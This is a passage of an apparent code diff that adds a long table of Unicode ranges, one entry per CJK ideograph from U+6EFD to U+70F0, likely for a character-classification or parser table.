+ ["\u6EFD", "\u6EFD"], /* CJK Ideograph */
+ ["\u6EFE", "\u6EFE"], /* CJK Ideograph */
+ ["\u6EFF", "\u6EFF"], /* CJK Ideograph */
+ ["\u6F00", "\u6F00"], /* CJK Ideograph */
+ ["\u6F01", "\u6F01"], /* CJK Ideograph */
+ ["\u6F02", "\u6F02"], /* CJK Ideograph */
+ ["\u6F03", "\u6F03"], /* CJK Ideograph */
+ ["\u6F04", "\u6F04"], /* CJK Ideograph */
+ ["\u6F05", "\u6F05"], /* CJK Ideograph */
+ ["\u6F06", "\u6F06"], /* CJK Ideograph */
+ ["\u6F07", "\u6F07"], /* CJK Ideograph */
+ ["\u6F08", "\u6F08"], /* CJK Ideograph */
+ ["\u6F09", "\u6F09"], /* CJK Ideograph */
+ ["\u6F0A", "\u6F0A"], /* CJK Ideograph */
+ ["\u6F0B", "\u6F0B"], /* CJK Ideograph */
+ ["\u6F0C", "\u6F0C"], /* CJK Ideograph */
+ ["\u6F0D", "\u6F0D"], /* CJK Ideograph */
+ ["\u6F0E", "\u6F0E"], /* CJK Ideograph */
+ ["\u6F0F", "\u6F0F"], /* CJK Ideograph */
+ ["\u6F10", "\u6F10"], /* CJK Ideograph */
+ ["\u6F11", "\u6F11"], /* CJK Ideograph */
+ ["\u6F12", "\u6F12"], /* CJK Ideograph */
+ ["\u6F13", "\u6F13"], /* CJK Ideograph */
+ ["\u6F14", "\u6F14"], /* CJK Ideograph */
+ ["\u6F15", "\u6F15"], /* CJK Ideograph */
+ ["\u6F16", "\u6F16"], /* CJK Ideograph */
+ ["\u6F17", "\u6F17"], /* CJK Ideograph */
+ ["\u6F18", "\u6F18"], /* CJK Ideograph */
+ ["\u6F19", "\u6F19"], /* CJK Ideograph */
+ ["\u6F1A", "\u6F1A"], /* CJK Ideograph */
+ ["\u6F1B", "\u6F1B"], /* CJK Ideograph */
+ ["\u6F1C", "\u6F1C"], /* CJK Ideograph */
+ ["\u6F1D", "\u6F1D"], /* CJK Ideograph */
+ ["\u6F1E", "\u6F1E"], /* CJK Ideograph */
+ ["\u6F1F", "\u6F1F"], /* CJK Ideograph */
+ ["\u6F20", "\u6F20"], /* CJK Ideograph */
+ ["\u6F21", "\u6F21"], /* CJK Ideograph */
+ ["\u6F22", "\u6F22"], /* CJK Ideograph */
+ ["\u6F23", "\u6F23"], /* CJK Ideograph */
+ ["\u6F24", "\u6F24"], /* CJK Ideograph */
+ ["\u6F25", "\u6F25"], /* CJK Ideograph */
+ ["\u6F26", "\u6F26"], /* CJK Ideograph */
+ ["\u6F27", "\u6F27"], /* CJK Ideograph */
+ ["\u6F28", "\u6F28"], /* CJK Ideograph */
+ ["\u6F29", "\u6F29"], /* CJK Ideograph */
+ ["\u6F2A", "\u6F2A"], /* CJK Ideograph */
+ ["\u6F2B", "\u6F2B"], /* CJK Ideograph */
+ ["\u6F2C", "\u6F2C"], /* CJK Ideograph */
+ ["\u6F2D", "\u6F2D"], /* CJK Ideograph */
+ ["\u6F2E", "\u6F2E"], /* CJK Ideograph */
+ ["\u6F2F", "\u6F2F"], /* CJK Ideograph */
+ ["\u6F30", "\u6F30"], /* CJK Ideograph */
+ ["\u6F31", "\u6F31"], /* CJK Ideograph */
+ ["\u6F32", "\u6F32"], /* CJK Ideograph */
+ ["\u6F33", "\u6F33"], /* CJK Ideograph */
+ ["\u6F34", "\u6F34"], /* CJK Ideograph */
+ ["\u6F35", "\u6F35"], /* CJK Ideograph */
+ ["\u6F36", "\u6F36"], /* CJK Ideograph */
+ ["\u6F37", "\u6F37"], /* CJK Ideograph */
+ ["\u6F38", "\u6F38"], /* CJK Ideograph */
+ ["\u6F39", "\u6F39"], /* CJK Ideograph */
+ ["\u6F3A", "\u6F3A"], /* CJK Ideograph */
+ ["\u6F3B", "\u6F3B"], /* CJK Ideograph */
+ ["\u6F3C", "\u6F3C"], /* CJK Ideograph */
+ ["\u6F3D", "\u6F3D"], /* CJK Ideograph */
+ ["\u6F3E", "\u6F3E"], /* CJK Ideograph */
+ ["\u6F3F", "\u6F3F"], /* CJK Ideograph */
+ ["\u6F40", "\u6F40"], /* CJK Ideograph */
+ ["\u6F41", "\u6F41"], /* CJK Ideograph */
+ ["\u6F42", "\u6F42"], /* CJK Ideograph */
+ ["\u6F43", "\u6F43"], /* CJK Ideograph */
+ ["\u6F44", "\u6F44"], /* CJK Ideograph */
+ ["\u6F45", "\u6F45"], /* CJK Ideograph */
+ ["\u6F46", "\u6F46"], /* CJK Ideograph */
+ ["\u6F47", "\u6F47"], /* CJK Ideograph */
+ ["\u6F48", "\u6F48"], /* CJK Ideograph */
+ ["\u6F49", "\u6F49"], /* CJK Ideograph */
+ ["\u6F4A", "\u6F4A"], /* CJK Ideograph */
+ ["\u6F4B", "\u6F4B"], /* CJK Ideograph */
+ ["\u6F4C", "\u6F4C"], /* CJK Ideograph */
+ ["\u6F4D", "\u6F4D"], /* CJK Ideograph */
+ ["\u6F4E", "\u6F4E"], /* CJK Ideograph */
+ ["\u6F4F", "\u6F4F"], /* CJK Ideograph */
+ ["\u6F50", "\u6F50"], /* CJK Ideograph */
+ ["\u6F51", "\u6F51"], /* CJK Ideograph */
+ ["\u6F52", "\u6F52"], /* CJK Ideograph */
+ ["\u6F53", "\u6F53"], /* CJK Ideograph */
+ ["\u6F54", "\u6F54"], /* CJK Ideograph */
+ ["\u6F55", "\u6F55"], /* CJK Ideograph */
+ ["\u6F56", "\u6F56"], /* CJK Ideograph */
+ ["\u6F57", "\u6F57"], /* CJK Ideograph */
+ ["\u6F58", "\u6F58"], /* CJK Ideograph */
+ ["\u6F59", "\u6F59"], /* CJK Ideograph */
+ ["\u6F5A", "\u6F5A"], /* CJK Ideograph */
+ ["\u6F5B", "\u6F5B"], /* CJK Ideograph */
+ ["\u6F5C", "\u6F5C"], /* CJK Ideograph */
+ ["\u6F5D", "\u6F5D"], /* CJK Ideograph */
+ ["\u6F5E", "\u6F5E"], /* CJK Ideograph */
+ ["\u6F5F", "\u6F5F"], /* CJK Ideograph */
+ ["\u6F60", "\u6F60"], /* CJK Ideograph */
+ ["\u6F61", "\u6F61"], /* CJK Ideograph */
+ ["\u6F62", "\u6F62"], /* CJK Ideograph */
+ ["\u6F63", "\u6F63"], /* CJK Ideograph */
+ ["\u6F64", "\u6F64"], /* CJK Ideograph */
+ ["\u6F65", "\u6F65"], /* CJK Ideograph */
+ ["\u6F66", "\u6F66"], /* CJK Ideograph */
+ ["\u6F67", "\u6F67"], /* CJK Ideograph */
+ ["\u6F68", "\u6F68"], /* CJK Ideograph */
+ ["\u6F69", "\u6F69"], /* CJK Ideograph */
+ ["\u6F6A", "\u6F6A"], /* CJK Ideograph */
+ ["\u6F6B", "\u6F6B"], /* CJK Ideograph */
+ ["\u6F6C", "\u6F6C"], /* CJK Ideograph */
+ ["\u6F6D", "\u6F6D"], /* CJK Ideograph */
+ ["\u6F6E", "\u6F6E"], /* CJK Ideograph */
+ ["\u6F6F", "\u6F6F"], /* CJK Ideograph */
+ ["\u6F70", "\u6F70"], /* CJK Ideograph */
+ ["\u6F71", "\u6F71"], /* CJK Ideograph */
+ ["\u6F72", "\u6F72"], /* CJK Ideograph */
+ ["\u6F73", "\u6F73"], /* CJK Ideograph */
+ ["\u6F74", "\u6F74"], /* CJK Ideograph */
+ ["\u6F75", "\u6F75"], /* CJK Ideograph */
+ ["\u6F76", "\u6F76"], /* CJK Ideograph */
+ ["\u6F77", "\u6F77"], /* CJK Ideograph */
+ ["\u6F78", "\u6F78"], /* CJK Ideograph */
+ ["\u6F79", "\u6F79"], /* CJK Ideograph */
+ ["\u6F7A", "\u6F7A"], /* CJK Ideograph */
+ ["\u6F7B", "\u6F7B"], /* CJK Ideograph */
+ ["\u6F7C", "\u6F7C"], /* CJK Ideograph */
+ ["\u6F7D", "\u6F7D"], /* CJK Ideograph */
+ ["\u6F7E", "\u6F7E"], /* CJK Ideograph */
+ ["\u6F7F", "\u6F7F"], /* CJK Ideograph */
+ ["\u6F80", "\u6F80"], /* CJK Ideograph */
+ ["\u6F81", "\u6F81"], /* CJK Ideograph */
+ ["\u6F82", "\u6F82"], /* CJK Ideograph */
+ ["\u6F83", "\u6F83"], /* CJK Ideograph */
+ ["\u6F84", "\u6F84"], /* CJK Ideograph */
+ ["\u6F85", "\u6F85"], /* CJK Ideograph */
+ ["\u6F86", "\u6F86"], /* CJK Ideograph */
+ ["\u6F87", "\u6F87"], /* CJK Ideograph */
+ ["\u6F88", "\u6F88"], /* CJK Ideograph */
+ ["\u6F89", "\u6F89"], /* CJK Ideograph */
+ ["\u6F8A", "\u6F8A"], /* CJK Ideograph */
+ ["\u6F8B", "\u6F8B"], /* CJK Ideograph */
+ ["\u6F8C", "\u6F8C"], /* CJK Ideograph */
+ ["\u6F8D", "\u6F8D"], /* CJK Ideograph */
+ ["\u6F8E", "\u6F8E"], /* CJK Ideograph */
+ ["\u6F8F", "\u6F8F"], /* CJK Ideograph */
+ ["\u6F90", "\u6F90"], /* CJK Ideograph */
+ ["\u6F91", "\u6F91"], /* CJK Ideograph */
+ ["\u6F92", "\u6F92"], /* CJK Ideograph */
+ ["\u6F93", "\u6F93"], /* CJK Ideograph */
+ ["\u6F94", "\u6F94"], /* CJK Ideograph */
+ ["\u6F95", "\u6F95"], /* CJK Ideograph */
+ ["\u6F96", "\u6F96"], /* CJK Ideograph */
+ ["\u6F97", "\u6F97"], /* CJK Ideograph */
+ ["\u6F98", "\u6F98"], /* CJK Ideograph */
+ ["\u6F99", "\u6F99"], /* CJK Ideograph */
+ ["\u6F9A", "\u6F9A"], /* CJK Ideograph */
+ ["\u6F9B", "\u6F9B"], /* CJK Ideograph */
+ ["\u6F9C", "\u6F9C"], /* CJK Ideograph */
+ ["\u6F9D", "\u6F9D"], /* CJK Ideograph */
+ ["\u6F9E", "\u6F9E"], /* CJK Ideograph */
+ ["\u6F9F", "\u6F9F"], /* CJK Ideograph */
+ ["\u6FA0", "\u6FA0"], /* CJK Ideograph */
+ ["\u6FA1", "\u6FA1"], /* CJK Ideograph */
+ ["\u6FA2", "\u6FA2"], /* CJK Ideograph */
+ ["\u6FA3", "\u6FA3"], /* CJK Ideograph */
+ ["\u6FA4", "\u6FA4"], /* CJK Ideograph */
+ ["\u6FA5", "\u6FA5"], /* CJK Ideograph */
+ ["\u6FA6", "\u6FA6"], /* CJK Ideograph */
+ ["\u6FA7", "\u6FA7"], /* CJK Ideograph */
+ ["\u6FA8", "\u6FA8"], /* CJK Ideograph */
+ ["\u6FA9", "\u6FA9"], /* CJK Ideograph */
+ ["\u6FAA", "\u6FAA"], /* CJK Ideograph */
+ ["\u6FAB", "\u6FAB"], /* CJK Ideograph */
+ ["\u6FAC", "\u6FAC"], /* CJK Ideograph */
+ ["\u6FAD", "\u6FAD"], /* CJK Ideograph */
+ ["\u6FAE", "\u6FAE"], /* CJK Ideograph */
+ ["\u6FAF", "\u6FAF"], /* CJK Ideograph */
+ ["\u6FB0", "\u6FB0"], /* CJK Ideograph */
+ ["\u6FB1", "\u6FB1"], /* CJK Ideograph */
+ ["\u6FB2", "\u6FB2"], /* CJK Ideograph */
+ ["\u6FB3", "\u6FB3"], /* CJK Ideograph */
+ ["\u6FB4", "\u6FB4"], /* CJK Ideograph */
+ ["\u6FB5", "\u6FB5"], /* CJK Ideograph */
+ ["\u6FB6", "\u6FB6"], /* CJK Ideograph */
+ ["\u6FB7", "\u6FB7"], /* CJK Ideograph */
+ ["\u6FB8", "\u6FB8"], /* CJK Ideograph */
+ ["\u6FB9", "\u6FB9"], /* CJK Ideograph */
+ ["\u6FBA", "\u6FBA"], /* CJK Ideograph */
+ ["\u6FBB", "\u6FBB"], /* CJK Ideograph */
+ ["\u6FBC", "\u6FBC"], /* CJK Ideograph */
+ ["\u6FBD", "\u6FBD"], /* CJK Ideograph */
+ ["\u6FBE", "\u6FBE"], /* CJK Ideograph */
+ ["\u6FBF", "\u6FBF"], /* CJK Ideograph */
+ ["\u6FC0", "\u6FC0"], /* CJK Ideograph */
+ ["\u6FC1", "\u6FC1"], /* CJK Ideograph */
+ ["\u6FC2", "\u6FC2"], /* CJK Ideograph */
+ ["\u6FC3", "\u6FC3"], /* CJK Ideograph */
+ ["\u6FC4", "\u6FC4"], /* CJK Ideograph */
+ ["\u6FC5", "\u6FC5"], /* CJK Ideograph */
+ ["\u6FC6", "\u6FC6"], /* CJK Ideograph */
+ ["\u6FC7", "\u6FC7"], /* CJK Ideograph */
+ ["\u6FC8", "\u6FC8"], /* CJK Ideograph */
+ ["\u6FC9", "\u6FC9"], /* CJK Ideograph */
+ ["\u6FCA", "\u6FCA"], /* CJK Ideograph */
+ ["\u6FCB", "\u6FCB"], /* CJK Ideograph */
+ ["\u6FCC", "\u6FCC"], /* CJK Ideograph */
+ ["\u6FCD", "\u6FCD"], /* CJK Ideograph */
+ ["\u6FCE", "\u6FCE"], /* CJK Ideograph */
+ ["\u6FCF", "\u6FCF"], /* CJK Ideograph */
+ ["\u6FD0", "\u6FD0"], /* CJK Ideograph */
+ ["\u6FD1", "\u6FD1"], /* CJK Ideograph */
+ ["\u6FD2", "\u6FD2"], /* CJK Ideograph */
+ ["\u6FD3", "\u6FD3"], /* CJK Ideograph */
+ ["\u6FD4", "\u6FD4"], /* CJK Ideograph */
+ ["\u6FD5", "\u6FD5"], /* CJK Ideograph */
+ ["\u6FD6", "\u6FD6"], /* CJK Ideograph */
+ ["\u6FD7", "\u6FD7"], /* CJK Ideograph */
+ ["\u6FD8", "\u6FD8"], /* CJK Ideograph */
+ ["\u6FD9", "\u6FD9"], /* CJK Ideograph */
+ ["\u6FDA", "\u6FDA"], /* CJK Ideograph */
+ ["\u6FDB", "\u6FDB"], /* CJK Ideograph */
+ ["\u6FDC", "\u6FDC"], /* CJK Ideograph */
+ ["\u6FDD", "\u6FDD"], /* CJK Ideograph */
+ ["\u6FDE", "\u6FDE"], /* CJK Ideograph */
+ ["\u6FDF", "\u6FDF"], /* CJK Ideograph */
+ ["\u6FE0", "\u6FE0"], /* CJK Ideograph */
+ ["\u6FE1", "\u6FE1"], /* CJK Ideograph */
+ ["\u6FE2", "\u6FE2"], /* CJK Ideograph */
+ ["\u6FE3", "\u6FE3"], /* CJK Ideograph */
+ ["\u6FE4", "\u6FE4"], /* CJK Ideograph */
+ ["\u6FE5", "\u6FE5"], /* CJK Ideograph */
+ ["\u6FE6", "\u6FE6"], /* CJK Ideograph */
+ ["\u6FE7", "\u6FE7"], /* CJK Ideograph */
+ ["\u6FE8", "\u6FE8"], /* CJK Ideograph */
+ ["\u6FE9", "\u6FE9"], /* CJK Ideograph */
+ ["\u6FEA", "\u6FEA"], /* CJK Ideograph */
+ ["\u6FEB", "\u6FEB"], /* CJK Ideograph */
+ ["\u6FEC", "\u6FEC"], /* CJK Ideograph */
+ ["\u6FED", "\u6FED"], /* CJK Ideograph */
+ ["\u6FEE", "\u6FEE"], /* CJK Ideograph */
+ ["\u6FEF", "\u6FEF"], /* CJK Ideograph */
+ ["\u6FF0", "\u6FF0"], /* CJK Ideograph */
+ ["\u6FF1", "\u6FF1"], /* CJK Ideograph */
+ ["\u6FF2", "\u6FF2"], /* CJK Ideograph */
+ ["\u6FF3", "\u6FF3"], /* CJK Ideograph */
+ ["\u6FF4", "\u6FF4"], /* CJK Ideograph */
+ ["\u6FF5", "\u6FF5"], /* CJK Ideograph */
+ ["\u6FF6", "\u6FF6"], /* CJK Ideograph */
+ ["\u6FF7", "\u6FF7"], /* CJK Ideograph */
+ ["\u6FF8", "\u6FF8"], /* CJK Ideograph */
+ ["\u6FF9", "\u6FF9"], /* CJK Ideograph */
+ ["\u6FFA", "\u6FFA"], /* CJK Ideograph */
+ ["\u6FFB", "\u6FFB"], /* CJK Ideograph */
+ ["\u6FFC", "\u6FFC"], /* CJK Ideograph */
+ ["\u6FFD", "\u6FFD"], /* CJK Ideograph */
+ ["\u6FFE", "\u6FFE"], /* CJK Ideograph */
+ ["\u6FFF", "\u6FFF"], /* CJK Ideograph */
+ ["\u7000", "\u7000"], /* CJK Ideograph */
+ ["\u7001", "\u7001"], /* CJK Ideograph */
+ ["\u7002", "\u7002"], /* CJK Ideograph */
+ ["\u7003", "\u7003"], /* CJK Ideograph */
+ ["\u7004", "\u7004"], /* CJK Ideograph */
+ ["\u7005", "\u7005"], /* CJK Ideograph */
+ ["\u7006", "\u7006"], /* CJK Ideograph */
+ ["\u7007", "\u7007"], /* CJK Ideograph */
+ ["\u7008", "\u7008"], /* CJK Ideograph */
+ ["\u7009", "\u7009"], /* CJK Ideograph */
+ ["\u700A", "\u700A"], /* CJK Ideograph */
+ ["\u700B", "\u700B"], /* CJK Ideograph */
+ ["\u700C", "\u700C"], /* CJK Ideograph */
+ ["\u700D", "\u700D"], /* CJK Ideograph */
+ ["\u700E", "\u700E"], /* CJK Ideograph */
+ ["\u700F", "\u700F"], /* CJK Ideograph */
+ ["\u7010", "\u7010"], /* CJK Ideograph */
+ ["\u7011", "\u7011"], /* CJK Ideograph */
+ ["\u7012", "\u7012"], /* CJK Ideograph */
+ ["\u7013", "\u7013"], /* CJK Ideograph */
+ ["\u7014", "\u7014"], /* CJK Ideograph */
+ ["\u7015", "\u7015"], /* CJK Ideograph */
+ ["\u7016", "\u7016"], /* CJK Ideograph */
+ ["\u7017", "\u7017"], /* CJK Ideograph */
+ ["\u7018", "\u7018"], /* CJK Ideograph */
+ ["\u7019", "\u7019"], /* CJK Ideograph */
+ ["\u701A", "\u701A"], /* CJK Ideograph */
+ ["\u701B", "\u701B"], /* CJK Ideograph */
+ ["\u701C", "\u701C"], /* CJK Ideograph */
+ ["\u701D", "\u701D"], /* CJK Ideograph */
+ ["\u701E", "\u701E"], /* CJK Ideograph */
+ ["\u701F", "\u701F"], /* CJK Ideograph */
+ ["\u7020", "\u7020"], /* CJK Ideograph */
+ ["\u7021", "\u7021"], /* CJK Ideograph */
+ ["\u7022", "\u7022"], /* CJK Ideograph */
+ ["\u7023", "\u7023"], /* CJK Ideograph */
+ ["\u7024", "\u7024"], /* CJK Ideograph */
+ ["\u7025", "\u7025"], /* CJK Ideograph */
+ ["\u7026", "\u7026"], /* CJK Ideograph */
+ ["\u7027", "\u7027"], /* CJK Ideograph */
+ ["\u7028", "\u7028"], /* CJK Ideograph */
+ ["\u7029", "\u7029"], /* CJK Ideograph */
+ ["\u702A", "\u702A"], /* CJK Ideograph */
+ ["\u702B", "\u702B"], /* CJK Ideograph */
+ ["\u702C", "\u702C"], /* CJK Ideograph */
+ ["\u702D", "\u702D"], /* CJK Ideograph */
+ ["\u702E", "\u702E"], /* CJK Ideograph */
+ ["\u702F", "\u702F"], /* CJK Ideograph */
+ ["\u7030", "\u7030"], /* CJK Ideograph */
+ ["\u7031", "\u7031"], /* CJK Ideograph */
+ ["\u7032", "\u7032"], /* CJK Ideograph */
+ ["\u7033", "\u7033"], /* CJK Ideograph */
+ ["\u7034", "\u7034"], /* CJK Ideograph */
+ ["\u7035", "\u7035"], /* CJK Ideograph */
+ ["\u7036", "\u7036"], /* CJK Ideograph */
+ ["\u7037", "\u7037"], /* CJK Ideograph */
+ ["\u7038", "\u7038"], /* CJK Ideograph */
+ ["\u7039", "\u7039"], /* CJK Ideograph */
+ ["\u703A", "\u703A"], /* CJK Ideograph */
+ ["\u703B", "\u703B"], /* CJK Ideograph */
+ ["\u703C", "\u703C"], /* CJK Ideograph */
+ ["\u703D", "\u703D"], /* CJK Ideograph */
+ ["\u703E", "\u703E"], /* CJK Ideograph */
+ ["\u703F", "\u703F"], /* CJK Ideograph */
+ ["\u7040", "\u7040"], /* CJK Ideograph */
+ ["\u7041", "\u7041"], /* CJK Ideograph */
+ ["\u7042", "\u7042"], /* CJK Ideograph */
+ ["\u7043", "\u7043"], /* CJK Ideograph */
+ ["\u7044", "\u7044"], /* CJK Ideograph */
+ ["\u7045", "\u7045"], /* CJK Ideograph */
+ ["\u7046", "\u7046"], /* CJK Ideograph */
+ ["\u7047", "\u7047"], /* CJK Ideograph */
+ ["\u7048", "\u7048"], /* CJK Ideograph */
+ ["\u7049", "\u7049"], /* CJK Ideograph */
+ ["\u704A", "\u704A"], /* CJK Ideograph */
+ ["\u704B", "\u704B"], /* CJK Ideograph */
+ ["\u704C", "\u704C"], /* CJK Ideograph */
+ ["\u704D", "\u704D"], /* CJK Ideograph */
+ ["\u704E", "\u704E"], /* CJK Ideograph */
+ ["\u704F", "\u704F"], /* CJK Ideograph */
+ ["\u7050", "\u7050"], /* CJK Ideograph */
+ ["\u7051", "\u7051"], /* CJK Ideograph */
+ ["\u7052", "\u7052"], /* CJK Ideograph */
+ ["\u7053", "\u7053"], /* CJK Ideograph */
+ ["\u7054", "\u7054"], /* CJK Ideograph */
+ ["\u7055", "\u7055"], /* CJK Ideograph */
+ ["\u7056", "\u7056"], /* CJK Ideograph */
+ ["\u7057", "\u7057"], /* CJK Ideograph */
+ ["\u7058", "\u7058"], /* CJK Ideograph */
+ ["\u7059", "\u7059"], /* CJK Ideograph */
+ ["\u705A", "\u705A"], /* CJK Ideograph */
+ ["\u705B", "\u705B"], /* CJK Ideograph */
+ ["\u705C", "\u705C"], /* CJK Ideograph */
+ ["\u705D", "\u705D"], /* CJK Ideograph */
+ ["\u705E", "\u705E"], /* CJK Ideograph */
+ ["\u705F", "\u705F"], /* CJK Ideograph */
+ ["\u7060", "\u7060"], /* CJK Ideograph */
+ ["\u7061", "\u7061"], /* CJK Ideograph */
+ ["\u7062", "\u7062"], /* CJK Ideograph */
+ ["\u7063", "\u7063"], /* CJK Ideograph */
+ ["\u7064", "\u7064"], /* CJK Ideograph */
+ ["\u7065", "\u7065"], /* CJK Ideograph */
+ ["\u7066", "\u7066"], /* CJK Ideograph */
+ ["\u7067", "\u7067"], /* CJK Ideograph */
+ ["\u7068", "\u7068"], /* CJK Ideograph */
+ ["\u7069", "\u7069"], /* CJK Ideograph */
+ ["\u706A", "\u706A"], /* CJK Ideograph */
+ ["\u706B", "\u706B"], /* CJK Ideograph */
+ ["\u706C", "\u706C"], /* CJK Ideograph */
+ ["\u706D", "\u706D"], /* CJK Ideograph */
+ ["\u706E", "\u706E"], /* CJK Ideograph */
+ ["\u706F", "\u706F"], /* CJK Ideograph */
+ ["\u7070", "\u7070"], /* CJK Ideograph */
+ ["\u7071", "\u7071"], /* CJK Ideograph */
+ ["\u7072", "\u7072"], /* CJK Ideograph */
+ ["\u7073", "\u7073"], /* CJK Ideograph */
+ ["\u7074", "\u7074"], /* CJK Ideograph */
+ ["\u7075", "\u7075"], /* CJK Ideograph */
+ ["\u7076", "\u7076"], /* CJK Ideograph */
+ ["\u7077", "\u7077"], /* CJK Ideograph */
+ ["\u7078", "\u7078"], /* CJK Ideograph */
+ ["\u7079", "\u7079"], /* CJK Ideograph */
+ ["\u707A", "\u707A"], /* CJK Ideograph */
+ ["\u707B", "\u707B"], /* CJK Ideograph */
+ ["\u707C", "\u707C"], /* CJK Ideograph */
+ ["\u707D", "\u707D"], /* CJK Ideograph */
+ ["\u707E", "\u707E"], /* CJK Ideograph */
+ ["\u707F", "\u707F"], /* CJK Ideograph */
+ ["\u7080", "\u7080"], /* CJK Ideograph */
+ ["\u7081", "\u7081"], /* CJK Ideograph */
+ ["\u7082", "\u7082"], /* CJK Ideograph */
+ ["\u7083", "\u7083"], /* CJK Ideograph */
+ ["\u7084", "\u7084"], /* CJK Ideograph */
+ ["\u7085", "\u7085"], /* CJK Ideograph */
+ ["\u7086", "\u7086"], /* CJK Ideograph */
+ ["\u7087", "\u7087"], /* CJK Ideograph */
+ ["\u7088", "\u7088"], /* CJK Ideograph */
+ ["\u7089", "\u7089"], /* CJK Ideograph */
+ ["\u708A", "\u708A"], /* CJK Ideograph */
+ ["\u708B", "\u708B"], /* CJK Ideograph */
+ ["\u708C", "\u708C"], /* CJK Ideograph */
+ ["\u708D", "\u708D"], /* CJK Ideograph */
+ ["\u708E", "\u708E"], /* CJK Ideograph */
+ ["\u708F", "\u708F"], /* CJK Ideograph */
+ ["\u7090", "\u7090"], /* CJK Ideograph */
+ ["\u7091", "\u7091"], /* CJK Ideograph */
+ ["\u7092", "\u7092"], /* CJK Ideograph */
+ ["\u7093", "\u7093"], /* CJK Ideograph */
+ ["\u7094", "\u7094"], /* CJK Ideograph */
+ ["\u7095", "\u7095"], /* CJK Ideograph */
+ ["\u7096", "\u7096"], /* CJK Ideograph */
+ ["\u7097", "\u7097"], /* CJK Ideograph */
+ ["\u7098", "\u7098"], /* CJK Ideograph */
+ ["\u7099", "\u7099"], /* CJK Ideograph */
+ ["\u709A", "\u709A"], /* CJK Ideograph */
+ ["\u709B", "\u709B"], /* CJK Ideograph */
+ ["\u709C", "\u709C"], /* CJK Ideograph */
+ ["\u709D", "\u709D"], /* CJK Ideograph */
+ ["\u709E", "\u709E"], /* CJK Ideograph */
+ ["\u709F", "\u709F"], /* CJK Ideograph */
+ ["\u70A0", "\u70A0"], /* CJK Ideograph */
+ ["\u70A1", "\u70A1"], /* CJK Ideograph */
+ ["\u70A2", "\u70A2"], /* CJK Ideograph */
+ ["\u70A3", "\u70A3"], /* CJK Ideograph */
+ ["\u70A4", "\u70A4"], /* CJK Ideograph */
+ ["\u70A5", "\u70A5"], /* CJK Ideograph */
+ ["\u70A6", "\u70A6"], /* CJK Ideograph */
+ ["\u70A7", "\u70A7"], /* CJK Ideograph */
+ ["\u70A8", "\u70A8"], /* CJK Ideograph */
+ ["\u70A9", "\u70A9"], /* CJK Ideograph */
+ ["\u70AA", "\u70AA"], /* CJK Ideograph */
+ ["\u70AB", "\u70AB"], /* CJK Ideograph */
+ ["\u70AC", "\u70AC"], /* CJK Ideograph */
+ ["\u70AD", "\u70AD"], /* CJK Ideograph */
+ ["\u70AE", "\u70AE"], /* CJK Ideograph */
+ ["\u70AF", "\u70AF"], /* CJK Ideograph */
+ ["\u70B0", "\u70B0"], /* CJK Ideograph */
+ ["\u70B1", "\u70B1"], /* CJK Ideograph */
+ ["\u70B2", "\u70B2"], /* CJK Ideograph */
+ ["\u70B3", "\u70B3"], /* CJK Ideograph */
+ ["\u70B4", "\u70B4"], /* CJK Ideograph */
+ ["\u70B5", "\u70B5"], /* CJK Ideograph */
+ ["\u70B6", "\u70B6"], /* CJK Ideograph */
+ ["\u70B7", "\u70B7"], /* CJK Ideograph */
+ ["\u70B8", "\u70B8"], /* CJK Ideograph */
+ ["\u70B9", "\u70B9"], /* CJK Ideograph */
+ ["\u70BA", "\u70BA"], /* CJK Ideograph */
+ ["\u70BB", "\u70BB"], /* CJK Ideograph */
+ ["\u70BC", "\u70BC"], /* CJK Ideograph */
+ ["\u70BD", "\u70BD"], /* CJK Ideograph */
+ ["\u70BE", "\u70BE"], /* CJK Ideograph */
+ ["\u70BF", "\u70BF"], /* CJK Ideograph */
+ ["\u70C0", "\u70C0"], /* CJK Ideograph */
+ ["\u70C1", "\u70C1"], /* CJK Ideograph */
+ ["\u70C2", "\u70C2"], /* CJK Ideograph */
+ ["\u70C3", "\u70C3"], /* CJK Ideograph */
+ ["\u70C4", "\u70C4"], /* CJK Ideograph */
+ ["\u70C5", "\u70C5"], /* CJK Ideograph */
+ ["\u70C6", "\u70C6"], /* CJK Ideograph */
+ ["\u70C7", "\u70C7"], /* CJK Ideograph */
+ ["\u70C8", "\u70C8"], /* CJK Ideograph */
+ ["\u70C9", "\u70C9"], /* CJK Ideograph */
+ ["\u70CA", "\u70CA"], /* CJK Ideograph */
+ ["\u70CB", "\u70CB"], /* CJK Ideograph */
+ ["\u70CC", "\u70CC"], /* CJK Ideograph */
+ ["\u70CD", "\u70CD"], /* CJK Ideograph */
+ ["\u70CE", "\u70CE"], /* CJK Ideograph */
+ ["\u70CF", "\u70CF"], /* CJK Ideograph */
+ ["\u70D0", "\u70D0"], /* CJK Ideograph */
+ ["\u70D1", "\u70D1"], /* CJK Ideograph */
+ ["\u70D2", "\u70D2"], /* CJK Ideograph */
+ ["\u70D3", "\u70D3"], /* CJK Ideograph */
+ ["\u70D4", "\u70D4"], /* CJK Ideograph */
+ ["\u70D5", "\u70D5"], /* CJK Ideograph */
+ ["\u70D6", "\u70D6"], /* CJK Ideograph */
+ ["\u70D7", "\u70D7"], /* CJK Ideograph */
+ ["\u70D8", "\u70D8"], /* CJK Ideograph */
+ ["\u70D9", "\u70D9"], /* CJK Ideograph */
+ ["\u70DA", "\u70DA"], /* CJK Ideograph */
+ ["\u70DB", "\u70DB"], /* CJK Ideograph */
+ ["\u70DC", "\u70DC"], /* CJK Ideograph */
+ ["\u70DD", "\u70DD"], /* CJK Ideograph */
+ ["\u70DE", "\u70DE"], /* CJK Ideograph */
+ ["\u70DF", "\u70DF"], /* CJK Ideograph */
+ ["\u70E0", "\u70E0"], /* CJK Ideograph */
+ ["\u70E1", "\u70E1"], /* CJK Ideograph */
+ ["\u70E2", "\u70E2"], /* CJK Ideograph */
+ ["\u70E3", "\u70E3"], /* CJK Ideograph */
+ ["\u70E4", "\u70E4"], /* CJK Ideograph */
+ ["\u70E5", "\u70E5"], /* CJK Ideograph */
+ ["\u70E6", "\u70E6"], /* CJK Ideograph */
+ ["\u70E7", "\u70E7"], /* CJK Ideograph */
+ ["\u70E8", "\u70E8"], /* CJK Ideograph */
+ ["\u70E9", "\u70E9"], /* CJK Ideograph */
+ ["\u70EA", "\u70EA"], /* CJK Ideograph */
+ ["\u70EB", "\u70EB"], /* CJK Ideograph */
+ ["\u70EC", "\u70EC"], /* CJK Ideograph */
+ ["\u70ED", "\u70ED"], /* CJK Ideograph */
+ ["\u70EE", "\u70EE"], /* CJK Ideograph */
+ ["\u70EF", "\u70EF"], /* CJK Ideograph */
+ ["\u70F0", "\u70F0"], /* CJK Ideograph */
